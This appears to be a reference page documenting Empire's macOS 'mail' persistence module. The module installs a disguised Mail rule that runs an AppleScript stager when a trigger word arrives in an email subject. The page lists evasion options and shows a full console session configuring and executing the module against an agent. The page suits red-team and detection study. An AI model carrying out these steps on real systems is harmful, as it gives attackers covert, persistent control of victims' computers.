Mail - Empire Module

This page contains detailed information about how to use the python/persistence/osx/mail Empire module. For list of all Empire modules, visit the Empire Module Library.

Module Overview

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Name: Mail
Module: python/persistence/osx/mail
Source code [1]: empire/server/modules/python/persistence/osx/mail.yaml
Source code [2]: empire/server/modules/python/persistence/osx/mail.py
MITRE ATT&CK: T1155
Language: Python
Needs admin: No
OPSEC safe: No
Background: No

The mail module installs a mail rule that will execute an AppleScript stager when a trigger word is present in the Subject of an incoming mail.

This module runs in a foreground and is OPSEC unsafe as it writes on the disk and therefore could be detected by AV/EDR running on the target system.

Note that the mail module does not need administrative privileges to work properly which means that a normal user can run this module.

Required Module Options

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This is a list of options that are required by the mail module:

Agent
Agent to execute module on.

Listener
Listener to use.

RuleName
Name of the Rule.
Default value: Spam Filter.

SafeChecks
Switch. Checks for LittleSnitch or a SandBox, exit the staging process if true. Defaults to True.
Default value: True.

Trigger
The trigger word.

Additional Module Options

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This is a list of additional options that are supported by the mail module:

UserAgent
User-agent string to use for the staging request (default, none, or other).
Default value: default.

Mail Example Usage

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Here's an example of how to use the mail module in the Empire client console:

[+] New agent Y4LHEV83 checked in
[*] Sending agent (stage 2) to Y4LHEV83 at 192.168.204.135
(empire usestager/osx/ducky) > usemodule python/persistence/osx/mail

 Author       @n00py                                                              
 Background   False                                                               
 Comments     https://github.com/n00py/MailPersist                                
 Description  Installs a mail rule that will execute an AppleScript stager when a 
              trigger word is present in the Subject of an incoming mail.         
 Language     python                                                              
 Name         python/persistence/osx/mail                                         
 NeedsAdmin   False                                                               
 OpsecSafe    False                                                               
 Techniques   http://attack.mitre.org/techniques/T1155                            


,Record Options------------,----------,-------------------------------------,
| Name       | Value       | Required | Description                         |
|------------|-------------|----------|-------------------------------------|
| Agent      |             | True     | Agent to execute module on.         |
|------------|-------------|----------|-------------------------------------|
| Listener   |             | True     | Listener to use.                    |
|------------|-------------|----------|-------------------------------------|
| RuleName   | Spam Filter | True     | Name of the Rule.                   |
|------------|-------------|----------|-------------------------------------|
| SafeChecks | True        | True     | Switch. Checks for LittleSnitch or  |
|            |             |          | a SandBox, exit the staging process |
|            |             |          | if true. Defaults to True.          |
|------------|-------------|----------|-------------------------------------|
| Trigger    |             | True     | The trigger word.                   |
|------------|-------------|----------|-------------------------------------|
| UserAgent  | default     | False    | User-agent string to use for the    |
|            |             |          | staging request (default, none, or  |
|            |             |          | other).                             |
'------------'-------------'----------'-------------------------------------'

(Empire: usemodule/python/persistence/osx/mail) > set Agent Y4LHEV83
[*] Set Agent to Y4LHEV83
(Empire: usemodule/python/persistence/osx/mail) > set Listener listener1
[*] Set Listener to listener1
(Empire: usemodule/python/persistence/osx/mail) > set RuleName Spam
[*] Set RuleName to Spam
(Empire: usemodule/python/persistence/osx/mail) > set SafeChecks True
[*] Set SafeChecks to True
(Empire: usemodule/python/persistence/osx/mail) > set Trigger value
[*] Set Trigger to value
(Empire: usemodule/python/persistence/osx/mail) > execute
[*] Tasked Y4LHEV83 to run Task 1
...

Now wait for the results to come.

Author

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• @n00py

References

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• https://github.com/BC-SECURITY/Empire/tree/master/empire/server/modules/python/persistence/osx/mail.yaml
• https://github.com/BC-SECURITY/Empire/tree/master/empire/server/modules/python/persistence/osx/mail.py
• https://github.com/n00py/MailPersist
• http://attack.mitre.org/techniques/T1155
• http://www.apple.com/DTDs/PropertyList-1.0.dtd

See Also

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Check also the following modules related to this module:

• python/persistence/osx/LaunchAgent
• python/persistence/osx/loginhook
• python/persistence/osx/CreateHijacker
• python/persistence/osx/LaunchAgentUserLandPersistence
• python/persistence/osx/RemoveLaunchAgent
• powershell/management/mailraider/mail_search
• python/collection/osx/search_email
• powershell/management/mailraider/get_subfolders
• powershell/management/mailraider/send_mail
• powershell/management/mailraider/view_email
• powershell/management/mailraider/search_gal
• powershell/management/mailraider/get_emailitems
• powershell/management/mailraider/disable_security

Version

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This page has been created based on Empire version 4.1.3 (BC Security Fork).
Visit Empire Module Library for more modules.